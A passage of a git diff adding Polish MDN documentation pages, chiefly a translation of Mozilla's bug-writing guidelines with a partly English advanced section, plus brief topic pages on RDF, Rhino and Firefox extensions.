+ <li><a class="external" href="http://litmus.mozilla.org/">Litmus</a></li>
+ <li><a href="/pl/docs/QA/Testy_z_obciążeniem" title="pl/docs/QA/Testy_z_obciążeniem">Testy z obciążeniem</a></li>
+ </ul>
+
+ <p><span class="alllinks"><a href="/pl/docs/tag/QA:Narz%C4%99dzia" title="pl/docs/tag/QA:Narz%C4%99dzia">Pokaż wszystkie...</a></span></p>
+
+ <h2 class="Related_Topics" id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h2>
+
+ <ul>
+ <li><a href="/pl/docs/Programowanie_Mozilli" title="pl/docs/Programowanie_Mozilli">Programowanie Mozilli</a></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/qa/wskazowki_do_zglaszania_bledow/index.html b/files/pl/qa/wskazowki_do_zglaszania_bledow/index.html
new file mode 100644
index 0000000000..fc40abfef2
--- /dev/null
+++ b/files/pl/qa/wskazowki_do_zglaszania_bledow/index.html
@@ -0,0 +1,241 @@
+---
+title: Wskazówki do zgłaszania błędów
+slug: QA/Wskazowki_do_zglaszania_bledow
+tags:
+ - Bugzilla
+ - QA
+ - Raport błędu
+translation_of: Mozilla/QA/Bug_writing_guidelines
+---
+<div class="note">
+<p><strong>Jeśli potrzebujesz pomocy z oprogramowaniem Mozilla (na przykład z Firefox, Seamonkey lub Thunderbird) skorzystaj z dostępnych <a href="http://www.mozilla.org/support/">tematów pomocy</a>.</strong> Nie edytuj tej strony!</p>
+</div>
+
+<p><span class="seoSummary">Ta strona zakłada, że chcesz wspomóc projekt Mozilla poprzez zebranie odpowiednich informacji, aby stworzyć użyteczny raport błędu w Bugzilla, systemie śledzenia błędów produktów Mozilla.</span> Dziękujemy!</p>
+
+<p>Jeśli to twój pierwszy raport błędów, z pewnością zechcesz skorzystać z pomocy bardziej doświadczonych osób, które już wiedzą na czym to polega. Wskazówki znajdziesz na stronie <a href="/pl/docs/QA">QA</a> w sekcji Społeczność. Jeśli chcesz zgłosić błąd programu Firefox, pomoc znajdziesz również na kanale <span style="font-family: monospace;">#firefox</span> na <a href="irc://irc.mozilla.org/firefox">irc.mozilla.org</a>. Lista kanałów dla pozostałych projektów (np. Thunderbird lub SeaMonkey) znajduje się na naszej stronie wiki <a href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+
+<h2 id="Jak_zgłosić_błąd">Jak zgłosić błąd</h2>
+
+<h3 id="Dla_każdego_problemu_stwórz_osobny_raport!">Dla każdego problemu stwórz osobny raport!</h3>
+
+<p>Zarządzanie statusem każdego z problemów z osobna jest dużo efektywniejsze.</p>
+
+<h3 id="Inne_istotne_detale">Inne istotne detale</h3>
+
+<ol>
+ <li>Spróbuj określić <strong>kroki, które pozwalają zreprodukować błąd</strong>:
+
+ <ul>
+ <li>Jeśli wiesz jakie <a href="#steps_to_reproduce">dokłanie kroki należy podjąć</a> — świetnie! — jesteś na dobrej drodze, żeby zgłosić użyteczny raport błędu.</li>
+ <li>Jeśli błąd potrafisz odtworzyć tylko sporadycznie (nie znasz dokładnych kroków), to aby raport był użyteczny należy podać <a href="#additional_info">dodatkowe informacje</a>.</li>
+ <li>Jeśli nie potrafisz odtworzyć problemu, to zgłaszanie raportu prawdopodobnie nic nie da, chyba że bardzo szegółowo opiszesz sytuację, w której problem wystąpił.</li>
+ </ul>
+ </li>
+ <li>Upewnij się, że twoje oprogramowanie jest aktualne. Byłoby idealnie przetestować nieoficjalną wersję (np. <a href="http://www.mozilla.com/pl/firefox/channel/">Firefox Beta, Aurora</a>, lub zawsze najświeższą <a class="link-https" href="https://nightly.mozilla.org/">Nightly</a>), żeby sprawdzić, czy przypadkiem twój błąd nie został już naprawiony.</li>
+ <li>Zgłaszając błąd w Firefox, najpierw sprawdź czy potrafisz go odtworzyć <a href="https://support.mozilla.org/pl/kb/zarzadzanie-profilami">po stworzeniu nowego profilu Firefox</a>. Jeśli błąd pojawia się tylko w aktualnie używanym profilu, spróbuj znaleźć które <a href="https://support.mozilla.org/pl/kb/rozwiazywanie-problemow-z-rozszerzeniami-i-motywami">ustawienia, rozszerzenia</a> lub <a href="https://support.mozilla.org/pl/kb/Profile">pliki profilu</a> są potrzebne do zreprodukowania błędu.
+ <ul>
+ <li>Jeśli błąd wydaje się być skandaliczny (tj. dotyczy ogromnej liczby użytkowników) to możliwe, że w twojej instalacji jest coś nietypowego, co jest istotne podczas definiowania kroków do zreprodukowania błędu. Masz o wiele większe szanse domyślić się co to może być, niż programista który nie ma dostępu do twojego systemu.</li>
+ <li>Jeśli błąd jest jednym ze <a href="#specific-types">specyficznych typów błędów (opisanych dalej)</a>, to taka informacja nadal będzie dla nas pomocna, nawet jeśli nie potrafisz określić kroków pozwalających zreprodukować błąd używając nowego profilu.</li>
+ </ul>
+ </li>
+ <li>Otwórz <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?format=guided">formularz zgłaszania raportu błędu</a> (<em>w języku angielskim</em>), który poprowadzi cię przez większość procesu zgłaszania raportu błędu:
+ <ul>
+ <li>Utwórz konto w Bugzilla, jeśli jeszcze go nie masz, oraz wybierz produkt, dla którego chciałbyś stworzyć raport błędu.</li>
+ <li>Napisz <strong>krótkie podsumowanie </strong>opisujące na czym polega błąd, tak jak <a href="#summary">opisano poniżej</a>; sprawdź czy taki błąd już nie został wcześniej zgłoszony (jeśli chcesz być bardziej dokładny, możesz skożystać z zaawansowanego przewodnika <a href="https://developer.mozilla.org/en-US/docs/Mozilla/QA/Screening_duplicate_bugs">wykrywania duplikatów błędów</a>).</li>
+ <li>Podaj <strong>dokładne kroki do zreprodukowania błędu, oczekiwane zachowanie aplikacji </strong>oraz <strong>aktualne zachowanie aplikacji</strong>, tak jak <a href="#steps_to_reproduce">opisano poniżej</a>.</li>
+ <li>Podaj dodatakowe informacje (również <a href="#additional_info">opisane poniżej</a>), szczególnie jeśli nie potrafisz zreprodukować błędu używając nowego profilu; oraz/lub przez zgłoszenie problemu związanego z <strong>nagłym zamknięciem aplikacji, zużyciem pamięci, wydajnością</strong> lub<strong> </strong>jest to <strong>błąd regresywny</strong>; lub masz problem związany z konkretną stroną internetową.</li>
+ </ul>
+ </li>
+ <li>Jeśli chciałbyś zgłosić kilka problemów, stwórz proszę osobny raport dla każdego z osobna.</li>
+</ol>
+
+<h2 id="Pisanie_dobrego_podsumowania"><a id="summary" name="summary">Pisanie dobrego podsumowania</a></h2>
+
+<p>Jak opisać błąd używając około 10 słów? Będzie to pierwsze co w twoim raporcie zobaczy programista.</p>
+
+<p>Dobre podsumowanie powinno krótko i zwięźle identyfikować raport błędu. Powinno wyjaśniać na czym polega problem, nie proponowane rozwiązanie.</p>
+
+<ul>
+ <li>Dobrze: "Anulowanie w okienku kopiowania powoduje, że menedżer plików się wywala"</li>
+ <li>Źle: "Program się wywala"</li>
+</ul>
+
+<ul>
+ <li>Dobrze: "Przewijanie strzałką w dół nie działa w &lt;textarea&gt; ze stylem overflow:hidden"</li>
+ <li>Źle: "Przeglądarka powinna współpracować z moją stroną"</li>
+</ul>
+
+<h2 id="Kroki_pozwalające_zreprodukować_błąd"><a id="steps_to_reproduce" name="steps_to_reproduce">Kroki pozwalające zreprodukować błąd</a></h2>
+
+<p>Jak programista ma zreprodukować błąd na swoim komputerze?</p>
+
+<p>Kroki pozwalające zreprodukować błąd są <strong>najważniejszą częścią każdego raportu błędu</strong>. Jeśli programista będzie w stanie zreprodukować błąd, to bardzo możliwe że uda się go rozwiązać. Jeśli kroki opiszesz w niejasny sposób, to może się okazać że nawet nie będzie wiadomo czy błąd został poprawiony.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Co powinien zawierać raport błędu?</th>
+ <th>Dobry przykład (szczegółowy)</th>
+ <th>Zły przykład (zbyt ogólnie)</th>
+ </tr>
+ <tr>
+ <td>Opisz czy jesteś w stanie zreprodukować kroki i jak często (zawsze / czasami / w ogóle).</td>
+ <td>Błąd potrafię zreprodukować wykonując następujące kroki:</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>
+ <p>W każdym kroku dodatkowo opisz sposoby interakcji z Firefox'em.</p>
+ </td>
+ <td>
+ <p>1. Uruchom Firefox przez kliknięcie na ikonie pulpitu<br>
+ 2. Wciśnij Cmd+N (lub Ctrl+N w przypadku użytkowników Windows) aby otworzyć nowe okno przeglądarki<br>
+ 3. Wklej <a class="link-https" href="https://mail.google.com/" rel="freelink">https://mail.google.com/</a> w pasku adresu i wciśnij Enter</p>
+ </td>
+ <td>Otwórz Gmail w innym oknie</td>
+ </tr>
+ <tr>
+ <td>
+ <p>Po opisie kroków, dokładnie opisz <strong>obserwowane (aktualne)</strong> oraz <strong>oczekiwane zachowanie aplikacji</strong>. Jasno oddziel fakty (obserwacje) od przypuszczeń.</p>
+ </td>
+ <td><strong>Oczekiwane zachowanie:</strong> Moja skrzynka odbiorcza wyświetla się prawidłowo.<br>
+ <strong>Aktualne zachowanie</strong>: Moja skrzynka odbiorcza wyświetla komunikat 'Twoja przeglądarka nie wspiera cookies (error -91)'.</td>
+ <td>
+ <p>"Nie działa"</p>
+
+ <p>"Strona wyświetla się nieprawidłowo"</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Podawanie_dodatkowych_informacji"><a name="additional_info">Podawanie dodatkowych informacji</a></h2>
+
+<p>Poniższe informacje są wymagane w przypadku większości raportów błędu. Możesz oszczędzić czas podając te informacje zaraz po Oczekiwanym zachowaniu aplikacji. Jeśli musisz dołączyć więcej niż jeden plik, będzie to możliwe później, po wysłaniu raportu.</p>
+
+<h3 id="Specyficzne_typy_błędów"><a name="specific-types">Specyficzne typy błędów</a></h3>
+
+<p>Jeśli wysyłasz raport dotyczący nagłego zamknięcia aplikacji (<em>ang. crash bug</em>) dołącz <a href="/en-US/docs/How_to_get_a_stacktrace_for_a_bug_report">Breakpad ID lub stos wywołania (ang. stack trace)</a> oraz sygnaturę błędu (<em>ang. </em><em>crash </em><em>signature</em>) do podsumowania i pola <strong>Crash Signature</strong>.</p>
+
+<p>Jeśli wysyłasz raport dotyczący <strong>wykorzystania lub wycieku pamięci</strong>, dołącz <a href="/pl/docs/Mozilla/Performance/about:memory">wynik about:memory</a>. Idealnie byłoby znaleźć kroki prowadzące do wzrostu zużycia na pozycjach w about:memory (nawet po kliknięciu przycisku "Minimize memory usage" na dole ekranu). Jeśli masz problem z odtworzeniem kroków, zajrzyj na stronę Firefox Support <a href="https://support.mozilla.org/pl/kb/duze-uzycie-pamieci">Duże użycie pamięci</a>. Jeśli jesteś programistą C++, <a href="/pl/docs/Mozilla/Performance">dostępne są bardziej precyzyjne narzędzia</a>.</p>
+
+<p>Jeśli wysyłasz raport na temat <strong>powolnego działania aplikacji lub wysokiego użycia procesora</strong>, w raporcie podaj <a href="/pl/docs/Mozilla/Performance/Reporting_a_Performance_Problem">link do profilu wydajności</a>.</p>
+
+<p>Jeśli <strong>aplikacja się zawiesza</strong> (piłka plażowa w OS X lub "Okno nie odpowiada" w Windows) postępuj według instrukcji z artykułu <a href="/en-US/docs/How_to_Report_a_Hung_Firefox">Jak zgłosić że Firefox się zawiesza</a>.</p>
+
+<p>Jeśli wysyłasz raport dotyczący <strong>Zawieszającej się wtyczki Flash</strong> odwiedź<strong> </strong><a href="https://wiki.mozilla.org/Flash/Hang_Debugging">https://wiki.mozilla.org/Flash/Hang_Debugging</a> żeby dowiedzieć się jak wydobyć istotne informacje na ten temat dla programistów.</p>
+
+<p>Jeśli wysyłasz raport <strong>błędu dotyczącego konkretnej strony insternetowej </strong>spróbuj przeprowadzić <a href="/en-US/docs/Reducing_testcases">skrócony przypadek testowy</a> i dołącz go do raportu. Jeśli nie masz na to czasu lub ekspertyzy na ten temat, to zamiast do nas zgłoś ten problem na <a href="https://webcompat.com/">webcompat.com</a>, gdzie nasi ochotnicy zrobią to za ciebie.</p>
+
+<p>Jeśli <strong>błąd pojawił się niedawno</strong> to znalezienie <a href="https://mozilla.github.io/mozregression/quickstart.html">okna regresji</a> może pomóc nam zidentyfikować przyczynę problemu.</p>
+
+<p><a href="http://www.chiark.greenend.org.uk/~sgtatham/bugs.html#intermittent">Co jeśli mój błąd wydaje się "przypadkowy" lub "sporadyczny"?</a> (<em>tekst angielski</em>)</p>
+
+<h3 id="Większość_błędów_dotyczących_Firefox'a">Większość błędów dotyczących Firefox'a</h3>
+
+<p>Większość raportów błędów dotyczących Firefox'a powinna zawierać poniższe informacje.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Co powinno się znaleźć w raporcie błędu?</th>
+ <th>Przykład</th>
+ </tr>
+ <tr>
+ <td>Sprawdzenie, czy problem można zreprodukować zakładając <a href="https://support.mozilla.org/pl/kb/zarzadzanie-profilami">nowy profil Firefox</a> i opisanie wszystkich zmian jakich należy dokonać aby zreprodukować błąd.</td>
+ <td>Problem jest reprodukowalny w nowym profilu, ale jedynie gdy Opcje -&gt; Prywatność i bezpieczeństwo -&gt; Ochrona przed śledzeniem jest włączona.</td>
+ </tr>
+ <tr>
+ <td>Jeśli błąd pojawia się tylko w aktualnie używanym profilu, spróbuj znaleźć które <a href="https://support.mozilla.org/pl/kb/rozwiazywanie-problemow-z-rozszerzeniami-i-motywami">ustawienia, rozszerzenia</a> lub <a href="https://support.mozilla.org/pl/kb/Profile">pliki profilu</a> są potrzebne do zreprodukowania błędu. Jeśli pominiesz ten krok, zapisz do pliku <a href="https://support.mozilla.org/pl/kb/informacje-dla-pomocy-technicznej-about-support">Informacje dla pomocy technicznej z about:support</a> i dołącz ten plik do raportu.</td>
+ <td>Nie potrafię zreprodukować błędu na nowym profilu, dołączam informacje z about:support dotyczące profilu, na którym błąd występuje.</td>
+ </tr>
+ <tr>
+ <td>
+ <p>Spradź czy problem można zreprodukować przy użyciu <a href="https://nightly.mozilla.org/">najświeższej zbudowanej wersji Nightly</a>. Dołącz <strong>Build ID</strong> z <a href="https://support.mozilla.org/pl/kb/informacje-dla-pomocy-technicznej-about-support">about:support</a>.</p>
+
+ <p>Jeśli to możliwe, test wykonaj na nowo stworzonym profilu Firefox. Jeśli musisz przetestować wersję Nightly twoim normalnie używanym profilem, wykonaj najpierw jego <a href="/pl/kb/Tworzenie%20kopii%20zapasowej%20swoich%20danych">kopię zapasową</a>, ponieważ tego typu wydania mogą uszkodzić twoje dane.</p>
+ </td>
+ <td>Problem pojawia się tylko na najnowszej wersji Nightly (Build ID 20170416100136).</td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<div class="originaldocinfo">
+<h2 id="Informacje_o_dokumencie">Informacje o dokumencie</h2>
+
+<ul>
+ <li>Autorzy: Jesse Ruderman, Gervase Markham</li>
+ <li>Inni współtwórcy: Eli Goldberg, Claudius Gayle, Jan Leger, Felix Miata, Peter Mock, Chris Pratt, Chris Yeh, i inni.</li>
+</ul>
+</div>
+
+<p> </p>
+
+<hr>
+<h2 id="Advanced">Advanced</h2>
+
+<h3 id="Finding_the_correct_product_and_component" name="Finding_the_correct_product_and_component"><strong style="font-weight: bold;">Finding the correct product and component</strong></h3>
+
+<p>You will be asked to categorize your bug into a "product" and a "component" within that product, in order to direct your report to the correct developers.</p>
+
+<p>If you're using Firefox, the bug is most likely in "Firefox", "Toolkit", or "Core".</p>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Firefox">List of components in the "Firefox" product</a> - Most parts of Firefox that you interact with directly</li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Toolkit">List of components in the "Toolkit" product</a> - Interface widgets and some frontend features</li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Core">List of components in the "Core" product</a> - Web page rendering, networking, etc.</li>
+</ul>
+
+<p>When in doubt, search for similar bugs and see which component they are in.</p>
+
+<p>If none of the components seem appropriate, look for a "General" component in the most appropriate product.</p>
+
+<h3 id="General_Outline_of_a_Bug_Report">General Outline of a Bug Report</h3>
+
+<div class="note">
+<p>Most of the following article has been merged into this page from QMO: How to write a proper bug</p>
+</div>
+
+<ul>
+ <li><strong>Summary</strong>: How would you describe the bug in less than 60 characters? It should quickly and uniquely identify a bug report as well as explain the problem, not your suggested solution. Good: "Canceling a File Copy dialog crashes File Manager" Bad: "Software crashes" Bad: "Browser should work with my web site"</li>
+ <li><strong>Component</strong>: In which sub-part of the software does it exist? This field is a requirement to submit any bug report. Click the word "Component" to see a description of each component. If none seems appropriate, highlight the "General" component.</li>
+ <li><a name="version"> </a><strong>Version</strong>: select the earliest Version with what the problem can be reproduced:
+ <ul>
+ <li>Developers will use that information to narrow down the commit what introduced a regression</li>
+ <li>QA staff needs that information to distinguish bugs with similar symptoms, but different roots.
+ <ul>
+ <li>Bugs that definitively appeared in different <em>Product</em> <em>Versions</em> probably will have different roots</li>
+ <li>But Bugs that started with the same <em>Product</em> <em>Version</em> probably are DUPLICATEs</li>
+ </ul>
+ </li>
+ <li><em>Trunk</em> does not allow any useful query. We have <em>Trunk</em> version bugs from beginning of the project until today, no common characteristics at all what can be tagged with this version. Avoid Trunk, replace it by precise information with what version the problem appeared if you can.</li>
+ </ul>
+ </li>
+ <li><strong>OS</strong>: On which operating system (OS) did you find it? (E.g. Linux, Windows, and Mac.) Example: "<em>If you know the bug happens on more than one type of operating system, choose "All". If your OS isn't listed, choose Other".</em></li>
+ <li><strong>Description</strong>: The details of your problem report, including:
+ <ul>
+ <li><u>Overview</u>: This is a larger detailed restatement of the summary. An example would be: <em>"Drag-selecting any page crashes Mac builds in the NSGetFactory function"</em>.</li>
+ <li><u>Build Id</u>: To find this either go to the "about:support" page via the location bar or, if you have MozQA's <a href="https://addons.mozilla.org/en-US/firefox/addon/nightly-tester-tools/">Nightly Tester Tools</a> extension, then go to Tools | Nightly Tester Tools and select the option that contains the output of the build Id. It should look something like this: <em>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 ID:20150330004006 CSet: 9e57e9776571"</em>.</li>
+ <li><u>Additional Builds and Platforms</u>: Whether or not the bug takes place on other platforms (or browsers, if applicable). It should look something like this: <em>"Doesn't Occur On Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 ID:20150330004006 CSet: 9e57e9776571"</em>.</li>
+ </ul>
+ </li>
+ <li><strong>Steps to Reproduce</strong>: Minimized, easy-to-follow steps that will trigger the bug. If they're necessary, make sure to include any special setup steps. A good example of this would look like the following:<br>
+ 1) View any web page. (I used the default sample page, http://www.google.com/).<br>
+ 2) Drag-select the page. Specifically, while holding down the mouse button, drag the mouse pointer downwards from any point in the browser's content region to the bottom of the browser's content region.</li>
+ <li><strong>Actual Results</strong>: What the application did after performing the above steps. An example would be: <em>The application crashed.</em></li>
+ <li><strong>Expected Results</strong>: What the application should have done, were the bug not present. An example would be: <em>The window should scroll downwards. Scrolled content should be selected. Or, at least, the application should not crash.</em></li>
+</ul>
+
+<p> </p>
+
+<div class="originaldocinfo">
+<h4 id="Original_document_information">Original document information</h4>
+
+<ul>
+ <li>Author(s): Aakash Desai</li>
+ <li>Date last modified: June 3, 2013 at 2:41 am PST</li>
+</ul>
+</div>
diff --git a/files/pl/rdf/index.html b/files/pl/rdf/index.html
new file mode 100644
index 0000000000..928eb69415
--- /dev/null
+++ b/files/pl/rdf/index.html
@@ -0,0 +1,54 @@
+---
+title: RDF
+slug: RDF
+tags:
+ - RDF
+ - Wszystkie_kategorie
+translation_of: Archive/Web/RDF
+---
+<p>
+</p>
+<div>
+<p><b>Struktura Opisu Zasobów (RDF)</b> jest rodziną specyfikacji dla modelu metadanych, który jest często implementowany jako aplikacji w XML-u. Rodzina specyfikacji RDF jest rozwijana przez World Wide Web Consortium (W3C).
+</p><p>Model metadanych RDF jest oparty na idei tworzenia twierdzeń na temat zasobów w formie wyrazeń temat-predykat-obiekt, w terminologii RDF nazywanym "triple".
+Podmiot jest zasobem, tą "rzeczą", która ma być opisana. Predykat jest cechą lub aspektem tego zasobu, i często opisuje relację między podmiotem i obiektem. Obiekt jest celem tej relacji lub wartością tej cechy. {{ Ref("one") }}
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Dokumentacja" name="Dokumentacja"> <a>Dokumentacja</a> </h4>
+<dl><dt> <a class="external" href="http://www.xml.com/pub/a/2001/01/24/rdf.html">Czym jest RDF</a>
+</dt><dd> <small>Tim Bray's opisuje Resource Description Framework, na stronie <a class="external" href="http://www.xml.com">XML.com</a>.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87"> Społeczność </h4>
+<ul><li> Obejrzyj fora Mozilli...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-rdf", "mozilla.dev.tech.rdf") }}
+</p>
+<ul><li> <a class="external" href="http://www.ilrt.bris.ac.uk/discovery/rdf-dev/">Lista dyskusyjna RDF-Dev</a>
+</li></ul>
+<h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia"> Narzędzia </h4>
+<ul><li> <a class="external" href="http://planetrdf.com/guide/#sec-tools">RDF Narzędzia i edytory</a> </li><li> <a class="external" href="http://www.w3.org/RDF/Validator/">Walidator RDF</a>
+</li></ul>
+<h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy"> Powiązane tematy </h4>
+<dl><dd> <a href="pl/XML">XML</a>
+</dd></dl>
+</td>
+</tr>
+</tbody></table>
+<hr>
+<p><small>
+{{ Note("one") }} Ten opis RDF-a jest zaczerpnięty z <a class="external" href="http://en.wikipedia.org/wiki/Resource_Description_Framework">artykułu Wikipedii na temat RDF</a>.
+</small>
+<span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "de": "de/RDF", "en": "en/RDF", "es": "es/RDF", "fr": "fr/RDF", "it": "it/RDF", "ja": "ja/RDF", "ko": "ko/RDF", "pt": "pt/RDF", "ru": "ru/RDF" } ) }}
diff --git a/files/pl/rhino/index.html b/files/pl/rhino/index.html
new file mode 100644
index 0000000000..43704397e3
--- /dev/null
+++ b/files/pl/rhino/index.html
@@ -0,0 +1,13 @@
+---
+title: Rhino
+slug: Rhino
+translation_of: Mozilla/Projects/Rhino
+---
+<p><img alt="Image:rhino.jpg" class="internal" src="/@api/deki/files/832/=Rhino.jpg"></p>
+<p><strong>Rhino</strong> jest implementacją open-source języka <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a> napisaną całkowicie w języku Java. Jest zwykle wbudowana w aplikacje napisane w języku Java aby umożliwić użytkownikom końcowym pisanie skryptów. Jest wbudowana w J2SE 6 jako domyślny silnik skryptowy dla języka Java.</p>
+<h4 id="Rhino_downloads" name="Rhino_downloads">Rhino downloads</h4>
+<p>How to <a class="internal" href="/en/RhinoDownload" title="en/RhinoDownload">get source and binaries</a>. </p>
+<h4 id="Rhino_documentation" name="Rhino_documentation">Rhino documentation</h4>
+<p><a href="/en/Rhino_documentation" title="en/Rhino_documentation">Information on Rhino</a> for script writers and embedders.</p>
+<h4 id="Rhino_help" name="Rhino_help">Rhino help</h4>
+<p><a href="/en/Rhino/Community" title="en/Rhino/Community">Some resources</a> if you get stuck.</p>
diff --git a/files/pl/rozszerzenia/index.html b/files/pl/rozszerzenia/index.html
new file mode 100644
index 0000000000..d421a3c045
--- /dev/null
+++ b/files/pl/rozszerzenia/index.html
@@ -0,0 +1,20 @@
+---
+title: Rozszerzenia
+slug: Rozszerzenia
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+translation_of: Mozilla/Add-ons
+---
+<p> </p>
+<div><strong>Rozszerzenia</strong> pozwalają na zwiększenie funkcjonalności takich aplikacji Mozilli, jak Firefox czy Thunderbird. Za ich pomocą można dodać do aplikacji niemal wszystko — od przycisku na pasku narzędzi po całkowicie nowe funkcje. Aplikacja może być w ten sposób dowolnie dostosowana do potrzeb każdego użytkownika, a jednocześnie zachowany zostaje niewielki rozmiar pliku instalacyjnego do pobrania.
+<p>Rozszerzeń nie należy mylić z <a href="/pl/Wtyczki" title="pl/Wtyczki">wtyczkami</a>, które pozwalają na wyświetlanie w przeglądarce specyficznych rodzajów treści, np. odtwarzanie plików multimedialnych. Rozszerzenia różnią się także od <a href="/pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa" title="pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa">wtyczek wyszukiwania</a>, które umożliwiają dodanie wyszukiwarek do paska wyszukiwania.</p>
+</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja"><a href="/Special:Tags?tag=Rozszerzenia&amp;language=pl" title="Special:Tags?tag=Rozszerzenia&amp;language=pl">Dokumentacja</a></h4> <dl><dt> <a href="/pl/Tworzymy_rozszerzenie" title="pl/Tworzymy rozszerzenie">Tworzymy rozszerzenie</a> </dt><dd> <small>Tłumaczy krok po kroku jak stworzyć rozszerzenie dla Firefoksa.</small> </dd></dl><dl><dt> <a href="/pl/Cz%C4%99sto_zadawane_pytania_dotycz%C4%85ce_rozszerze%C5%84" title="pl/Często_zadawane_pytania_dotyczące_rozszerzeń">Często zadawane pytania dotyczące rozszerzeń</a> </dt><dd> <small>Typowe pytania i odpowiedzi dotyczące tworzenia rozszerzeń.</small> </dd></dl> <dl><dt> <a href="/pl/Przygotowanie_%C5%9Brodowiska_programowania_rozszerzenia" title="pl/Przygotowanie_środowiska_programowania_rozszerzenia">Przygotowanie środowiska programowania rozszerzenia</a> </dt><dd> <small>Kilka porad dotyczących ustawień ułatwiających tworzenie rozszerzenia.</small> </dd></dl> <dl><dt> <a href="/pl/Pakowanie_rozszerze%C5%84" title="pl/Pakowanie_rozszerzeń">Pakowanie rozszerzeń</a> </dt><dd> <small>Jak spakować rozszerzenia Firefoksa do pobierania i instalacji.</small> </dd></dl> <dl><dt> <a href="/pl/Tworzenie_w%C5%82asnego_rozszerzenia_Firefoksa_za_pomoc%C4%85_systemu_kompilacji_Mozilli" title="pl/Tworzenie_własnego_rozszerzenia_Firefoksa_za_pomocą_systemu_kompilacji_Mozilli">Tworzenie własnego rozszerzenia Firefoksa za pomocą systemu kompilacji Mozilli</a> </dt><dd> <small>Jak ustawić środowisko kompilacji rozszerzenia opartego na komponentach binarnych.</small> </dd></dl> <dl><dt> <a href="/pl/Fragmenty_kodu" title="pl/Fragmenty_kodu">Fragmenty kodu</a> </dt><dd> <small> Fragmenty kodu często używane przez wiele rozszerzeń.</small> </dd></dl> <dl><dt><a href="/pl/Instalacja%20rozszerze%C5%84" title="pl/Instalacja rozszerzeń">Instalacja rozszerzeń</a> </dt><dd> <small>Jak zainstalować rozszerzenie od strony programisty.</small> </dd> </dl> <dl><dt> <a href="/pl/Aktualizacja_rozszerze%C5%84_dla_Firefoksa_3" title="pl/Aktualizacja_rozszerzeń_dla_Firefoksa_3">Aktualizacja rozszerzeń dla Firefoksa 3</a> </dt><dd> <small>Lista znanych zmian w Firefoksie 3 wpływających na rozszerzenia oraz odniesień do odpowiedniej dokumentacji.</small> </dd></dl> <dl><dt> <a href="/pl/Aktualizacja_rozszerze%C5%84_dla_Firefoksa_3.1" title="pl/Aktualizacja_rozszerzeń_dla_Firefoksa_3.1">Aktualizacja rozszerzeń dla Firefoksa 3.1</a> </dt><dd> <small>Lista znanych zmian w Firefoksie 3.1 wpływających na rozszerzenia oraz odniesień do odpowiedniej dokumentacji.</small> </dd></dl> <dl><dt> <a href="/pl/Aktualizacja_rozszerze%C5%84_dla_Seamonkey_2.0" title="pl/Aktualizacja_rozszerzeń_dla_Seamonkey_2.0">Aktualizacja rozszerzeń dla Seamonkey 2.0</a> </dt><dd> <small>Lista znanych zmian w Seamonkey 2.0 wpływających na rozszerzenia oraz odniesień do odpowiedniej dokumentacji.</small> </dd></dl> <dl><dt> <a href="/pl/Dodawanie%20dodatku%20do%20AMO" title="pl/Dodawanie dodatku do AMO">Dodawanie dodatku do AMO</a> </dt><dd> <small>Jak korzystać z AMO do dystrybucji swojego dodatku.</small> </dd></dl> <p><span><a href="/Special:Tags?tag=Rozszerzenia&amp;language=pl" title="Special:Tags?tag=Rozszerzenia&amp;language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4> <ul> <li>Przejdź do forów dyskusyjnych Mozilli...</li> </ul> <p>{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}</p> <ul> <li><a class="link-irc" href="irc://irc.mozilla.org/extdev">Kanał IRC #extdev</a></li> <li><a class="external" href="http://forums.mozillazine.org/?c=11">Forum MozillaZine</a></li> <li><a class="external" href="/devnews/index.php/categories/about-addons" title="https://developer.mozilla.org/editor/fckeditor/core/editor/devnews/index.php/categories/about-addons/">newsletter </a><a class="external" href="/devnews/index.php/categories/about-addons" title="https://developer.mozilla.org/editor/fckeditor/core/editor/devnews/index.php/categories/about-addons/">about:addons</a></li> <li><a class="external" href="/web-tech" title="https://developer.mozilla.org/editor/fckeditor/core/editor/web-tech/">Mozilla's Web-Tech blog</a></li> <li><a class="external" href="http://mozdev.org/mailman/listinfo/project_owners">Właściciele projektu mozdev</a></li> <li><a class="external" href="http://planet.mozilla.org/" title="http://planet.mozilla.org/">Planet Mozilla</a></li> <li><a href="/pl/Rozszerzenia/Spo%C5%82eczno%C5%9B%C4%87" title="pl/Rozszerzenia/Społeczność">Inne odnośniki...</a></li> </ul> <h4 